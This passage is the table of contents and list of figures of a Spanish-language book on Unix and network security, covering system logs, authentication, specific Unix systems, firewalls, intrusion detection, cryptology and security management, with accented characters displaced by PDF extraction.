. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93 6.4.4 utmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94 6.4.5 lastlog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94 6.4.6 faillog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94 6.4.7 loginlog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 6.4.8 btmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 6.4.9 sulog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 6.4.10 debug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 6.5 Logs remotos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 6.6 Registros f´ ısicos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
- 7. ´ INDICE GENERAL v 7 Copias de seguridad 101 7.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . 101 7.2 Dispositivos de almacenamiento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 7.3 Algunas ´rdenes para realizar copias de seguridad . o . . . . . . . . . . . . . . . . . . . 105 7.3.1 dump/restore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 7.3.2 La orden tar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 7.3.3 La orden cpio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 7.3.4 Backups sobre CD-ROM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 7.4 Pol´ıticas de copias de seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 8 Autenticaci´n de usuarios o 117 8.1 Introducci´n y conceptos b´sicos . . . . . . . . . . . . o a . . . . . . . . . . . . . . . . . 117 8.2 Sistemas basados en algo conocido: contrase˜as . . . . n . . . . . . . . . . . . . . . . . 118 8.3 Sistemas basados en algo pose´ ıdo: tarjetas inteligentes . . . . . . . . . . . . . . . . . 118 8.4 Sistemas de autenticaci´n biom´trica . . . . . . . . . . o e . . . . . . . . . . . . . . . . . 120 8.4.1 Verificaci´n de voz . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 122 8.4.2 Verificaci´n de escritura . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 123 8.4.3 Verificaci´n de huellas . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 123 8.4.4 Verificaci´n de patrones oculares . . . . . . . . o . . . . . . . . . . . . . . . . . 124 8.4.5 Verificaci´n de la geometr´ de la mano . . . . o ıa . . . . . . . . . . . . . . . . . 126 8.5 Autenticaci´n de usuarios en Unix . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 127 8.5.1 Autenticaci´n cl´sica . . . . . . . . . . . . . . . o a . . . . . . . . . . . . . . . . . 127 8.5.2 Mejora de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 8.6 PAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 III Algunos sistemas Unix 137 9 Solaris 139 9.1 Introducci´n . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 9.2 Seguridad f´ısica en SPARC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 9.3 Servicios de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 9.4 Usuarios y accesos al sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143 9.5 El sistema de parcheado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 9.6 Extensiones de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149 9.6.1 aset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149 9.6.2 jass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 9.6.3 sfpdb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 9.7 El subsistema de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 9.8 Par´metros del n´cleo . . . . a u . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 10 Linux 159 10.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 159 10.2 Seguridad f´ısica en x86 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160 10.3 Usuarios y accesos al sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162 10.4 El sistema de parcheado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 10.5 El subsistema de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169 10.6 El n´cleo de Linux . . . . . . . . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . 171 10.6.1 Opciones de compilaci´n . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 171 10.6.2 Dispositivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171 10.6.3 Algunas mejoras de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . 172
- 8. vi ´ INDICE GENERAL 11 AIX 175 11.1 Introducci´n . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . 175 11.2 Seguridad f´ısica en RS/6000 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 11.3 Servicios de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 11.4 Usuarios y accesos al sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179 11.4.1 El fichero /etc/security/.ids . . . . . . . . . . . . . . . . . . . . . . . . . . 180 11.4.2 El fichero /etc/security/passwd . . . . . . . . . . . . . . . . . . . . . . . . 180 11.4.3 El fichero /etc/security/failedlogin . . . . . . . . . . . . . . . . . . . . . 181 11.4.4 El fichero /etc/security/lastlog . . . . . . . . . . . . . . . . . . . . . . . . 181 11.4.5 El fichero /etc/security/limits . . . . . . . . . . . . . . . . . . . . . . . . 182 11.4.6 El fichero /etc/security/login.cfg . . . . . . . . . . . . . . . . . . . . . . 183 11.4.7 El fichero /etc/security/user . . . . . . . . . . . . . . . . . . . . . . . . . . 185 11.4.8 El fichero /etc/security/group . . . . . . . . . . . . . . . . . . . . . . . . . 188 11.5 El sistema de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189 11.6 El sistema de parcheado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192 11.7 Extensiones de la seguridad: filtros IP . . . . . . . . . . . . . . . . . . . . . . . . . . 193 11.8 El subsistema de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196 12 HP-UX 199 12.1 Introducci´n . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199 12.2 Seguridad f´ ısica en PA–RISC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199 12.3 Usuarios y accesos al sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 200 12.4 El sistema de parcheado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 203 12.5 Extensiones de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205 12.5.1 Product Description Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205 12.5.2 inetd.sec(4) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207 12.6 El subsistema de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208 12.7 El n´cleo de HP-UX . . . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211 IV Seguridad de la subred 213 13 El sistema de red 215 13.1 Introducci´n . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 13.2 Algunos ficheros importantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 13.2.1 El fichero /etc/hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 13.2.2 El archivo /etc/ethers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216 13.2.3 El fichero /etc/networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216 13.2.4 El fichero /etc/services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216 13.2.5 El fichero /etc/protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217 13.2.6 El fichero /etc/hosts.equiv . . . . . . . . . . . . . . . . . . . . . . . . . . . 217 13.2.7 El fichero .netrc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218 13.2.8 El fichero /etc/inetd.conf . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 13.3 Algunas ´rdenes importantes . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . 220 13.3.1 La orden ifconfig . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220 13.3.2 La orden route . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221 13.3.3 La orden netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221 13.3.4 La orden ping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 13.3.5 La orden traceroute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224 13.4 Servicios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225 14 Algunos servicios y protocolos 227 14.1 Introducci´n . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227 14.2 Servicios b´sicos de red . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228 14.2.1 systat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228 14.2.2 daytime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228 14.2.3 netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229
- 9. ´ INDICE GENERAL vii 14.2.4 chargen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 14.2.5 tftp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 14.2.6 finger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 14.2.7 POP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231 14.2.8 auth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232 14.2.9 NNTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232 14.2.10 NTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233 14.2.11 UUCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233 14.3 El servicio FTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234 14.3.1 FTP an´nimo . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235 14.3.2 FTP invitado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240 14.4 El servicio TELNET . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242 14.5 El servicio SMTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 244 14.6 Servidores WWW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245 14.7 Los servicios r-∗ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247 14.8 XWindow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249 14.8.1 Autenticaci´n por m´quina o a . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249 14.8.2 Autenticaci´n por testigo . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251 15 Cortafuegos: Conceptos te´ricos o 253 15.1 Introducci´n . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 253 15.2 Caracter´ ısticas de dise˜o . . . . . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . 255 15.3 Componentes de un cortafuegos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256 15.3.1 Filtrado de paquetes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256 15.3.2 Proxy de aplicaci´n . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 257 15.3.3 Monitorizaci´n de la actividad . . . o . . . . . . . . . . . . . . . . . . . . . . . 258 15.4 Arquitecturas de cortafuegos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259 15.4.1 Cortafuegos de filtrado de paquetes . . . . . . . . . . . . . . . . . . . . . . . . 259 15.4.2 Dual-Homed Host . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259 15.4.3 Screened Host . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 15.4.4 Screened Subnet (DMZ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 15.4.5 Otras arquitecturas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 16 Cortafuegos: Casos de estudio 265 16.1 Firewall-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265 16.1.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 265 16.1.2 Arquitectura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265 16.1.3 Instalaci´n . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 266 16.1.4 Gesti´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 268 16.1.5 El sistema de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270 16.1.6 inspect . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271 16.2 ipfwadm/ipchains/iptables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272 16.2.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 272 16.2.2 Arquitectura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273 16.2.3 Gesti´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 274 16.2.4 El sistema de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275 16.3 IPFilter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 276 16.3.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 276 16.3.2 Instalaci´n . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 277 16.3.3 Gesti´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 278 16.3.4 El sistema de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280 16.4 PIX Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281 16.4.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 281 16.4.2 La primera sesi´n con PIX Firewall o . . . . . . . . . . . . . . . . . . . . . . . 281 16.4.3 Interfaces de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284 16.4.4 Accesos entre interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284 16.4.5 Listas de control de acceso . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
- 10. viii ´ INDICE GENERAL 16.4.6 Rutado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 286 16.4.7 Otras ´rdenes utiles . . o ´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287 16.4.8 El sistema de log remoto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290 16.4.9 Failover . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291 17 Ataques remotos 295 17.1 Escaneos de puertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 295 17.2 Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298 17.3 Negaciones de servicio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299 17.4 Interceptaci´n . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301 17.5 Ataques a aplicaciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303 17.5.1 Correo electr´nico o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303 17.5.2 Ataques v´ web . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309 18 Sistemas de detecci´n de intrusos o 313 18.1 Introducci´n . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313 18.2 Clasificaci´n de los IDSes . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314 18.3 Requisitos de un IDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 315 18.4 IDSes basados en m´quina . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316 18.5 IDSes basados en red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 318 18.6 Detecci´n de anomal´ o ıas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321 18.7 Detecci´n de usos indebidos . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323 18.8 Implementaci´n real de un IDS . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325 18.8.1 IDS en el cortafuegos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326 18.8.2 IDS en la red: snort . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 328 18.8.3 IDS en la m´quina . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332 18.8.4 Estrategias de respuesta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 335 18.8.5 Ampliaci´n del esquema . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337 18.9 Algunas reflexiones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 338 19 Kerberos 341 19.1 Introducci´n . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341 19.2 Arquitectura de Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342 19.3 Autenticaci´n . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342 19.3.1 Login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342 19.3.2 Obtenci´n de tickets o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343 19.3.3 Petici´n de servicio . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343 19.4 Problemas de Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344 V Otros aspectos de la seguridad 347 20 Criptolog´ ıa 349 20.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 349 20.2 Criptosistemas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 350 20.3 Clasificaci´n de los criptosistemas . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 351 20.3.1 Criptosistemas de clave secreta . . . . . . . . . . . . . . . . . . . . . . . . . . 351 20.3.2 Criptosistemas de clave p´blica . u . . . . . . . . . . . . . . . . . . . . . . . . . 352 20.4 Criptoan´lisis . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . 352 20.5 Criptograf´ cl´sica . . . . . . . . . . . . ıa a . . . . . . . . . . . . . . . . . . . . . . . . . 353 20.5.1 El sistema Caesar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 353 20.5.2 El criptosistema de Vig`nere . . e . . . . . . . . . . . . . . . . . . . . . . . . . 354 20.6 Un criptosistema de clave secreta: DES . . . . . . . . . . . . . . . . . . . . . . . . . 356 20.7 Criptosistemas de clave p´blica . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . 357 20.7.1 El criptosistema RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357 20.7.2 El criptosistema de ElGamal . . . . . . . . . . . . . . . . . . . . . . . . . . . 358 20.7.3 Criptosistema de McEliece . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359 20.8 Funciones resumen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359
- 11. ´ INDICE GENERAL ix 20.9 Esteganograf´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360 ıa 21 Algunas herramientas de seguridad 363 21.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363 21.2 Titan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363 21.3 TCP Wrappers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375 21.4 SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 376 21.5 Tripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379 21.6 Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 381 21.7 Crack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 384 22 Gesti´n de la seguridad o 387 22.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387 22.2 Pol´ ıticas de seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388 22.3 An´lisis de riesgos . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . 390 22.3.1 Identificaci´n de recursos . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 391 22.3.2 Identificaci´n de amenazas o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392 22.3.3 Medidas de protecci´n . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393 22.4 Estrategias de respuesta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394 22.5 Outsourcing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395 ´ 22.6 El ‘Area de Seguridad’ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 397 VI Ap´ndices e 399 A Seguridad b´sica para administradores a 401 A.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 401 A.2 Prevenci´n . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 401 A.3 Detecci´n . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 406 A.4 Recuperaci´n . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 409 A.5 Recomendaciones de seguridad para los usuarios . . . . . . . . . . . . . . . . . . . . 410 A.6 Referencias r´pidas . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . 411 A.6.1 Prevenci´n . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 411 A.6.2 Detecci´n . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 412 A.6.3 Recuperaci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 412 A.6.4 Usuarios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413 B Normativa 415 B.1 Nuevo C´digo Penal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 415 B.2 Reglamento de Seguridad de la LORTAD . . . . . . . . . . . . . . . . . . . . . . . . 419 B.3 Ley Org´nica de Protecci´n de Datos . . . . . . . . . . . . . . . . . . . . . . . . . . . a o 425 C Recursos de inter´s en INet e 447 C.1 Publicaciones peri´dicas . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447 C.2 Organizaciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 448 C.2.1 Profesionales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 448 C.2.2 Gubernamentales/militares . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449 C.2.3 Universidades/educaci´n . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449 C.3 Criptograf´ . . . . . . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . . . 451 C.4 Seguridad general . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 C.5 Compa˜´ y grupos de desarrollo . nıas . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 C.5.1 Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452 C.5.2 General . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453 C.6 Sitios underground . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453 C.6.1 Grupos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453 C.6.2 Exploits y vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454 C.7 Recursos en Espa˜a . . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454 C.8 Listas de correo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454
- 12. x ´ INDICE GENERAL C.9 Grupos de noticias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 456 C.9.1 Criptolog´ıa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 456 C.9.2 Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457 C.9.3 Redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457 C.9.4 Misc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457 D Glosario de t´rminos anglosajones e 459 Conclusiones 463 Bibliograf´ ıa 465 GNU Free Documentation License 481 D.1 Applicability and Definitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 481 D.2 Verbatim Copying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482 D.3 Copying in Quantity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482 D.4 Modifications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 483 D.5 Combining Documents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484 D.6 Collections of Documents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484 D.7 Aggregation With Independent Works . . . . . . . . . . . . . . . . . . . . . . . . . . 484 D.8 Translation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485 D.9 Termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485 D.10 Future Revisions of This License . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485
- 13. ´ Indice de Figuras 1.1 Flujo normal de informaci´n entre emisor y receptor y posibles amenazas: (a) inter- o rupci´n, (b) interceptaci´n, (c) modificaci´n y (d) fabricaci´n. . . . . . . . . . . . . . o o o o 4 1.2 Visi´n global de la seguridad inform´tica . . . . . . . . . . . . . . . . . . . . . . . . . o a 11 3.1 El resultado de un basureo involuntario. . . . . . . . . . . . . . . . . . . . . . . . . . 39 4.1 Permisos de un fichero . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 8.1 Estructura gen´rica de una smartcard. . . . . . . . . . . . . . . . . . . . . . . . . . . e 119 8.2 Huella dactilar con sus minucias extra´ ıdas. c 1998 Idex AS, http://www.idex.no/. 124 8.3 Iris humano con la extracci´n de su iriscode. . . . . . . . . . . . . . . . . . . . . . . . o 126 8.4 Geometr´ de una mano con ciertos par´metros extra´ ıa a ıdos. . . . . . . . . . . . . . . . 127 8.5 La herramienta de administraci´n admintool (Solaris), con opciones para envejec- o imiento de claves. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 11.1 Estructura jer´rquica del src. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178 a 11.2 Interfaz de fixdist (AIX). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193 15.1 (a) Aislamiento. (b) Conexi´n total. (c) Firewall entre la zona de riesgo y el o per´ ımetro de seguridad. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254 15.2 Arquitectura DMZ. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 16.1 Ubicaci´n del Inspection Module dentro de la pila de protocolos osi. . . . . . . . . . 266 o 16.2 Una imagen de fwlv. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270 18.1 Puntos cl´sicos de defensa entre un atacante y un objetivo. . . . . . . . . . . . . . . 325 a 18.2 Situaci´n del sensor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332 o 19.1 Protocolo de autenticaci´n Kerberos. . . . . . . . . . . . . . . . . . . . . . . . . . . . 344 o 20.1 Estructura de un criptosistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 351 21.1 